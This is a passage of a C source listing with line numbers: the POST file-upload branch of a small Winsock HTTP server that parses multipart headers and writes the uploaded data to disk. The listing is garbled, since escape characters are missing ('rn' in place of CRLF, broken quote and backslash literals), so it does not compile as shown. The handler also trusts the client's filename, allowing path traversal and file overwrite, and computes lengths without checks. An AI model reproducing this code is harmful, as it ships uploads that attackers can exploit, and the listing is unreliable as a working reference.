  861. else if(lstrcmpi(svReqType,"POST")==0) {
  862. // POST request
  864. // Get boundary separator
  865. char *svBoundary;
  866. svBoundary=BreakString(svNext,"boundary=");
  867. svNext=BreakString(svBoundary,"rn");
  869. // Get content length
  870. char *svContentLen;
  871. int nContentLen;
  872. svContentLen=BreakString(svNext,"Content-Length: ");
  873. svNext=BreakString(svContentLen,"rn");
  874. nContentLen=atoi(svContentLen);
  876. // Get start of form data
  877. char *svForm;
  878. svForm=BreakString(svNext,svBoundary);
  880. // Get upload file name
  881. char *svUploadName, *ptr;
  882. svUploadName=BreakString(svForm,"filename="");
  883. svNext=BreakString(svUploadName,""");
  884. if((ptr=strrchr(svUploadName,'\'))!=NULL) {
  885. svUploadName=(ptr+1);
  886. }
  888. // Get Start of data
  889. char *pStartData;
  890. pStartData=BreakString(svNext,"rnrn");
  892. // Create file pathname
  893. HANDLE hFile;
  894. char svFilePath[MAX_PATH+1];
  895. lstrcpyn(svFilePath,svFullPath,MAX_PATH+1);
  896. lstrcpyn(svFilePath+lstrlen(svFilePath),svUploadName,(MAX_PATH+1)-lstrlen(svFilePath));
  898. // Open file
  899. hFile=CreateFile(svFilePath,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  900. if(hFile!=INVALID_HANDLE_VALUE) {
  901. // Write what we have to the file
  902. DWORD dwFileLen;
  903. dwFileLen=nContentLen-((DWORD)pStartData-(DWORD)svForm)-((lstrlen(svBoundary)+2)*2)-6;
  905. DWORD dwCount,dwBytes;
  906. dwCount=dwLen-(((DWORD)pStartData)-((DWORD)svBuffer));
  907. if(dwCount>dwFileLen) dwCount=dwFileLen;
  909. WriteFile(hFile,pStartData,dwCount,&dwBytes,NULL);
  911. // Loop reading in the rest
  912. char *pInBuf=(char *)malloc(1024);
  913. if(pInBuf!=NULL) {
  914. int nBytes;
  915. dwBytes=dwFileLen-dwCount;
  916. while(dwBytes>0) {
  917. nBytes=recv(ppcp->s,pInBuf,1024,0);
  918. if(nBytes<=0) break;
  919. if(nBytes>(int)dwBytes) nBytes=dwBytes;
  921. WriteFile(hFile,pInBuf,nBytes,&dwCount,NULL);
  923. dwBytes-=dwCount;
  924. }
  926. FormatHttpHeader(svBuffer, 201, typehtml, "rn");
  927. send(ppcp->s, svBuffer, lstrlen(svBuffer), 0);
  928. wsprintf(svBuffer, "<html>rn<head>rn<title>File received</title>rn</head>rn"
  929. "<body bgcolor=#FFFFFF text=#000000>rn<h1>File successfully uploaded</h1>rn</body>rn</html>rn");
  930. send(ppcp->s, svBuffer, lstrlen(svBuffer), 0);
  932. free(pInBuf);
  933. }
  935. CloseHandle(hFile);
  936. }
  939. } 
  941. free(svBuffer);
  942. closesocket(ppcp->s);
  943. free(ppcp);
  944. return 0;
  945. }